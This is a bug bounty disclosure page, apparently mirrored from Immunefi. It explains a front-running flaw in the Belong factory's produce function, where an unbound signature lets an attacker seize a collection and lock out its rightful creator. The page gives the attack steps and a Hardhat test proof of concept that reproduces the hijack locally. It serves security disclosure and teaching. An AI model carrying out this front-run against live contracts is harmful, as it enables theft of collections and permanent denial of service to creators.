Skip to content
Race condition Audit finding Intermediate

Front run takeover in factory produce

The signature checked by the factory's produce function does not bind the intended creator or the factory address, so anyone holding a valid signature can call produce first and become the collection creator. The attacker then permanently blocks the rightful deployer for that name and symbol pair because the deployment salt is deterministic.

koko7 Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

57927 sc medium front run takeover in factory produce

Submitted on Oct 29th 2025 at 13:44:42 UTC by @koko7 for Audit Comp | Belong

Description

Brief/Intro

An attacker can front‑run a legitimate produce transaction and become the collection creator. The signature validated by Factory.produce is not bound to the intended creator nor the specific factory instance. Because the deployment salt is deterministic (keccak256(abi.encode(name, symbol))), the attacker permanently DoSes the rightful deployer for that (name, symbol) pair.

Vulnerability Details

  • Unsafely scoped signature:
    • SignatureVerifier.checkAccessTokenInfo signs only (name, symbol, contractURI, feeNumerator, chainId).
    • Missing binding to the intended creator and to address(this) (factory), and no nonce/deadline.
  • Creator taken from caller:
    • Factory.produce sets creator = msg.sender after signature verification, allowing any address with the payload to claim ownership.
  • Deterministic salt on just (name, symbol):
    • First successful deployment consumes the salt and blocks subsequent attempts with TokenAlreadyExists.

Code references:

  • contracts/v2/utils/SignatureVerifier.sol → checkAccessTokenInfo (lines ~49–74)
  • contracts/v2/platform/Factory.sol → produce (lines ~230–292), _metadataHash (lines ~502–509)

Impact Details

  • Permanent DoS for targeted (name, symbol) on this factory.
  • Attacker controls the AccessToken collection (owner/upgrade authority), mint params, and “creator” royalty address.

Attack Path

{% stepper %} {% step %}

Step

Backend issues a valid signature for AccessTokenInfo (covers only (name, symbol, contractURI, feeNumerator, chainId)). {% endstep %}

{% step %}

Step

Victim submits produce(info, referralCode); the signature is visible in mempool calldata. {% endstep %}

{% step %}

Step

Attacker copies the signature and submits produce(info, referralCode) first (higher gas/priority). {% endstep %}

{% step %}

Step

Verification passes for attacker (no binding to creator/factory). creator is set to attacker’s msg.sender. {% endstep %}

{% step %}

Step

Victim’s transaction reverts with TokenAlreadyExists; attacker retains control of the collection. {% endstep %} {% endstepper %}

References

Proof of Concept

Add this test to /home/jo/audit-comp-belong/test/v2/platform/factory.test.ts and run:

LEDGER_ADDRESS=0x0000000000000000000000000000000000000001 PK=0x0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef npx hardhat test test/v2/platform/factory.test.ts --grep "Security: produce hijack"

JavaScript
describe('Security: produce hijack', () => {
    it('front-run takeover: signature not bound to creator', async () => {
      const { factory, alice, bob, signer } = await loadFixture(fixture);

      const nftName = 'Hijackable';
      const nftSymbol = 'HJ1';
      const contractURI = 'contractURI/hijack1';
      const price = ethers.utils.parseEther('0.01');
      const feeNumerator = 500;

      // Backend signs only name/symbol/contractURI/feeNumerator/chainId (no creator, no factory)
      const message = hashAccessTokenInfo(nftName, nftSymbol, contractURI, feeNumerator, chainId);
      const signature = EthCrypto.sign(signer.privateKey, message);

      const info: AccessTokenInfoStruct = {
        metadata: { name: nftName, symbol: nftSymbol },
        contractURI,
        paymentToken: NATIVE_CURRENCY_ADDRESS,
        mintPrice: price,
        whitelistMintPrice: price,
        transferable: true,
        maxTotalSupply: BigNumber.from('1000'),
        feeNumerator,
        collectionExpire: BigNumber.from('86400'),
        signature,
      };

      // Attacker (bob) calls produce first with the leaked/obtained signature
      const tx = await factory.connect(bob).produce(info, ethers.constants.HashZero);
      await expect(tx).to.emit(factory, 'AccessTokenCreated');

      const hijacked = await factory.nftInstanceInfo(nftName, nftSymbol);
      console.log('[produce hijack] creator (expected attacker):', hijacked.creator);
      expect(hijacked.creator).to.eq(bob.address);

      // Legitimate creator (alice) is permanently DoSed for this (name,symbol)
      await expect(factory.connect(alice).produce(info, ethers.constants.HashZero)).to.be.revertedWithCustomError(
        factory,
        'TokenAlreadyExists',
      );
    });

    it('attributes referral usage to attacker on hijack', async () => {
      const { factory, alice, bob, charlie, signer } = await loadFixture(fixture);

      await factory.connect(charlie).createReferralCode();
      const referralCode = await factory.getReferralCodeByCreator(charlie.address);

      const nftName = 'HijackRef';
      const nftSymbol = 'HJR';
      const contractURI = 'contractURI/hijack-ref';
      const price = ethers.utils.parseEther('0.01');
      const feeNumerator = 500;

      const message = hashAccessTokenInfo(nftName, nftSymbol, contractURI, feeNumerator, chainId);
      const signature = EthCrypto.sign(signer.privateKey, message);
      const info: AccessTokenInfoStruct = {
        metadata: { name: nftName, symbol: nftSymbol },
        contractURI,
        paymentToken: NATIVE_CURRENCY_ADDRESS,
        mintPrice: price,
        whitelistMintPrice: price,
        transferable: true,
        maxTotalSupply: BigNumber.from('1000'),
        feeNumerator,
        collectionExpire: BigNumber.from('86400'),
        signature,
      };

      await factory.connect(bob).produce(info, referralCode);
      const hijacked = await factory.nftInstanceInfo(nftName, nftSymbol);
      expect(hijacked.creator).to.eq(bob.address);

      expect(await factory.usedCode(bob.address, referralCode)).to.eq(1);

      await expect(factory.connect(alice).produce(info, referralCode)).to.be.revertedWithCustomError(
        factory,
        'TokenAlreadyExists',
      );
    });
  });

The original report as published on Immunefi, by koko7. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The signed message omits the intended creator and the factory address, and the deployment salt depends only on name and symbol, so the first caller with a valid signature wins and locks the salt.

Impact

An attacker could permanently block the rightful deployer for a targeted name and symbol pair and take control of the collection, its mint parameters and the creator royalty address.

What the attacker needed

A valid backend signature for the target name and symbol; attacker can see the victim's transaction in the mempool; attacker pays higher gas to be mined first

How it was found

  1. The backend issues a valid signature covering only name, symbol, contractURI, feeNumerator and chainId.
  2. The victim submits produce with that signature, which is visible in the mempool.
  3. The attacker copies the signature and submits produce first with higher gas.
  4. Verification passes for the attacker and creator is set to the attacker's address.
  5. The victim's transaction reverts with TokenAlreadyExists and the attacker keeps control.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you create a collection, the platform gives you a signed permission slip. The contract only checks that the slip is valid, not who it was meant for. So someone else can grab the slip and use it first, taking ownership of the collection and stopping you from ever creating it.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by koko7

View all

2 more disclosed reports, best first.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.